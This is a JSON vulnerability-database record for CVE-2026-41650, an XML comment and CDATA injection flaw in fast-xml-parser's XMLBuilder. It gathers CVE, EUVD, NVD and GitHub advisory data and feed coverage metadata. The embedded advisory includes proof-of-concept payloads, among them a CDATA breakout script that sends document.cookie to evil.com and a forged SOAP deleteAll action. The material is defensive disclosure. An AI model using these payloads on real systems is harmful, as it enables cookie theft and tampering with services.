{"id":"EUVD-2026-28381","revision":null,"records":[{"revision":"8f3404ca6fc24e7d94530da2ede63795","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-41650","aliases":[],"title":"fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"-->\" sequence in comment content or the \"]]>\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.","state":0,"publishedAt":"2026-05-07T13:36:55.871+00:00","modifiedAt":"2026-05-07T15:08:36.208+00:00","affected":[{"ecosystem":"Vendor product","name":"fast-xml-parser","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"NaturalIntelligence\",\n                    \"product\": \"fast-xml-parser\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 5.7.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6","https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41650","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-41650","identifiers":["CVE-2026-41650"]},"retained":false,"historicalAffected":[]},{"revision":"2695655cfeff456ba431628cadb196ef","observedAt":"2026-11-01T07:10:24.147+00:00","statement":{"source":"euvd","id":"EUVD-2026-28381","aliases":["CVE-2026-41650","GHSA-gh4j-gqv2-49f6"],"title":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"-->\" sequence in comment content or the \"]]>\" sequence in CDATA sections when bui…","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"-->\" sequence in comment content or the \"]]>\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":null}],"references":["https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6","https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-28381","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 7, 2026, 1:36:55 PM","dateUpdated":"May 7, 2026, 3:08:36 PM"},"relatedAdvisories":[{"id":"RHSA-2026:56928","title":"Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.22.2 security, enhancement & bug fix update","vulnerabilityIds":["CVE-2026-6321","CVE-2026-6322","CVE-2026-9358","CVE-2026-33671","CVE-2026-33672","CVE-2026-33750","CVE-2026-40181","CVE-2026-41305","CVE-2026-41650","CVE-2026-41907","CVE-2026-42338","CVE-2026-44665","CVE-2026-45149","CVE-2026-45736"]},{"id":"openSUSE-SU-2026:12070-1","title":"velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media","vulnerabilityIds":["CVE-2025-0914","CVE-2026-12143","CVE-2026-14257","CVE-2026-17535","CVE-2026-18348","CVE-2026-18636","CVE-2026-18638","CVE-2026-18639","CVE-2026-18860","CVE-2026-27601","CVE-2026-29074","CVE-2026-41650","CVE-2026-45623","CVE-2026-49356","CVE-2026-5329","CVE-2026-53550","CVE-2026-55602","CVE-2026-56852","CVE-2026-59869","CVE-2026-6290","CVE-2026-64951","CVE-2026-64952","CVE-2026-64954","CVE-2026-65903","CVE-2026-65912","CVE-2026-65913","CVE-2026-65914","CVE-2026-67314","CVE-2026-67320","CVE-2026-6863","CVE-2026-69152","CVE-2026-69153","CVE-2026-6948","CVE-2026-73086","CVE-2026-73646","CVE-2026-73650","CVE-2026-7572","CVE-2026-7573","CVE-2026-84369","CVE-2026-84370"]},{"id":"RHSA-2026:56431","title":"Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.18.27 security, enhancement & bug fix update","vulnerabilityIds":["CVE-2025-61726","CVE-2025-61729","CVE-2025-64718","CVE-2025-68470","CVE-2026-1525","CVE-2026-1526","CVE-2026-1527","CVE-2026-2229","CVE-2026-6321","CVE-2026-6322","CVE-2026-6733","CVE-2026-6734","CVE-2026-9358","CVE-2026-9679","CVE-2026-9697","CVE-2026-11525","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-13676","CVE-2026-22036","CVE-2026-25645","CVE-2026-33186","CVE-2026-33349","CVE-2026-33671","CVE-2026-33672","CVE-2026-33750","CVE-2026-34043","CVE-2026-34986","CVE-2026-35469","CVE-2026-39821","CVE-2026-40181","CVE-2026-41305","CVE-2026-41650","CVE-2026-41907","CVE-2026-42342","CVE-2026-45409","CVE-2026-45736","CVE-2026-48779","CVE-2026-48801","CVE-2026-53550","CVE-2026-59869"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-28381","identifiers":["EUVD-2026-28381","CVE-2026-41650","GHSA-gh4j-gqv2-49f6"]},"retained":false,"historicalAffected":[]},{"revision":"ff5a649090da426987439bbc005c2e35","observedAt":"2026-10-27T10:10:19.004+00:00","statement":{"source":"nvd","id":"CVE-2026-41650","aliases":[],"title":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"-->\" sequence in comment content or the \"]]>\" sequence in CDATA sections when bui…","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"-->\" sequence in comment content or the \"]]>\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.","state":0,"publishedAt":"2026-05-07T15:16:07.767+00:00","modifiedAt":"2026-10-26T20:10:00.16+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0","https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41650","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-91"],"productCriteria":["cpe:2.3:a:naturalintelligence:fast-xml-parser:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-07T15:16:07.767","lastModified":"2026-10-26T20:10:00.160"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-41650","identifiers":["CVE-2026-41650"]},"retained":false,"historicalAffected":[]},{"revision":"2b7c5239cb804ac1a4594e24ab6d2798","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-gh4j-gqv2-49f6","aliases":["CVE-2026-41650"],"title":"fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters","description":"# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters\n\n## Summary\n\nfast-xml-parser XMLBuilder does not escape the `-->` sequence in comment content or the `]]>` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.\n\nExisting CVEs for fast-xml-parser cover different issues:\n- CVE-2023-26920: Prototype pollution (parser)\n- CVE-2023-34104: ReDoS (parser)\n- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder\n- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities\n\nThis finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.\n\n## Vulnerable Code\n\n**File**: `src/fxb.js`\n\n```javascript\n// Line 442 - Comment building with NO escaping of -->\nbuildTextValNode(val, key, attrStr, level) {\n    // ...\n    if (key === this.options.commentPropName) {\n        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE\n    }\n    // ...\n    if (key === this.options.cdataPropName) {\n        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE\n    }\n}\n```\n\nCompare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.\n\n## Proof of Concept\n\n### Test 1: Comment Injection (XSS in SVG/HTML context)\n\n```javascript\nimport { XMLBuilder } from 'fast-xml-parser';\n\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst xml = {\n  root: {\n    \"#comment\": \"--><script>alert('XSS')</script><!--\",\n    data: \"legitimate content\"\n  }\n};\n\nconsole.log(builder.build(xml));\n```\n\n**Output**:\n```xml\n<root>\n  <!----><script>alert('XSS')</script><!---->\n  <data>legitimate content</data>\n</root>\n```\n\n### Test 2: CDATA Injection (RSS feed)\n\n```javascript\nconst builder = new XMLBuilder({\n  cdataPropName: \"#cdata\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst rss = {\n  rss: { channel: { item: {\n    title: \"Article\",\n    description: {\n      \"#cdata\": \"Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more\"\n    }\n  }}}\n};\n\nconsole.log(builder.build(rss));\n```\n\n**Output**:\n```xml\n<rss>\n  <channel>\n    <item>\n      <title>Article</title>\n      <description>\n        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>\n      </description>\n    </item>\n  </channel>\n</rss>\n```\n\n### Test 3: SOAP Message Injection\n\n```javascript\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true\n});\n\nconst soap = {\n  \"soap:Envelope\": {\n    \"soap:Body\": {\n      \"#comment\": \"Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--\",\n      Action: \"getBalance\",\n      UserId: \"12345\"\n    }\n  }\n};\n\nconsole.log(builder.build(soap));\n```\n\n**Output**:\n```xml\n<soap:Envelope>\n  <soap:Body>\n    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->\n    <Action>getBalance</Action>\n    <UserId>12345</UserId>\n  </soap:Body>\n</soap:Envelope>\n```\n\nThe injected `<Action>deleteAll</Action>` appears as a real SOAP action element.\n\n## Tested Output\n\nAll tests run on Node.js v22, fast-xml-parser v5.5.12:\n\n```\n1. COMMENT INJECTION:\n   Injection successful: true\n\n2. CDATA INJECTION (RSS feed scenario):\n   Injection successful: true\n\n4. Round-trip test:\n   Injection present: true\n\n5. SOAP MESSAGE INJECTION:\n   Contains injected Action: true\n```\n\n## Impact\n\nAn attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:\n\n1. **XSS**: Inject `<script>` tags into XML/SVG/HTML documents served to browsers\n2. **SOAP injection**: Modify SOAP message structure by injecting XML elements\n3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout\n4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context\n\nThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).\n\n## Suggested Fix\n\nEscape delimiters in comment and CDATA content:\n\n```javascript\n// For comments: replace -- with escaped equivalent\nif (key === this.options.commentPropName) {\n    const safeVal = String(val).replace(/--/g, '&#45;&#45;');\n    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;\n}\n\n// For CDATA: split on ]]> and rejoin with separate CDATA sections\nif (key === this.options.cdataPropName) {\n    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');\n    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;\n}\n```","state":0,"publishedAt":"2026-04-22T20:04:17+00:00","modifiedAt":"2026-09-10T03:51:01.6934305+00:00","affected":[{"ecosystem":"npm","name":"fast-xml-parser","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"5.7.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6","https://nvd.nist.gov/vuln/detail/CVE-2026-41650","https://github.com/NaturalIntelligence/fast-xml-parser","https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0"],"sourceUrl":"https://github.com/advisories/GHSA-gh4j-gqv2-49f6","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gh4j-gqv2-49f6","identifiers":["GHSA-gh4j-gqv2-49f6","CVE-2026-41650"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-02T16:59:10.1690873+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-02T16:59:10.1690873+00:00","lastSuccessAt":"2026-11-02T16:59:10.3116254+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:59:10.3116261+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-37087f5ac35d6d996bd0480d4228062695465d95096b336bdfd509d8efa3a1e5-84aaed8dccc4cedba653bef65981e073d8c5c12f4ff4b05530eb210ffb1705c4","complete":true,"records":417922,"lastAttemptAt":"2026-11-02T16:57:24.2192862+00:00","lastSuccessAt":"2026-11-02T16:57:24.1330437+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:57:24.2192862+00:00","snapshotPublishedAt":"2026-11-02T16:30:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3afbfcfae1fe455bbc5a5006f95b2df4","complete":true,"records":13568,"lastAttemptAt":"2026-11-02T16:59:11.5322103+00:00","lastSuccessAt":"2026-11-02T11:59:30.621+00:00","error":null,"lastVerifiedAt":"2026-11-02T11:59:30.621+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-02T16:59:10.1690873+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-02T16:59:10.1690873+00:00","lastSuccessAt":"2026-11-02T16:59:10.3123623+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:59:10.3123624+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a52593857bad4381a86db8a8b44be613","complete":true,"records":13580,"lastAttemptAt":"2026-11-02T16:59:10.8868787+00:00","lastSuccessAt":"2026-11-02T15:57:47.378+00:00","error":null,"lastVerifiedAt":"2026-11-02T15:57:47.378+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-02T16:59:09.9326132+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:59:09.9326132+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-02T16:57:24.3688876+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:57:24.3688876+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5eac0f41c5234939771ec81ee6dcecba911c3ba21e363f4cecd95fcede18b96b","complete":true,"records":3035,"lastAttemptAt":"2026-11-02T16:59:10.128203+00:00","lastSuccessAt":"2026-11-02T13:57:36.6498985+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:59:10.128203+00:00","snapshotPublishedAt":"2026-11-02T12:18:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-204813e4df71f7a2214cb16c924f482af6e49a4adf7efb0aebb0bd02e4e23b8c","complete":true,"records":231027,"lastAttemptAt":"2026-11-02T16:59:09.7642824+00:00","lastSuccessAt":"2026-11-02T16:59:08.3366694+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:59:09.7642824+00:00","snapshotPublishedAt":"2026-11-02T16:33:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}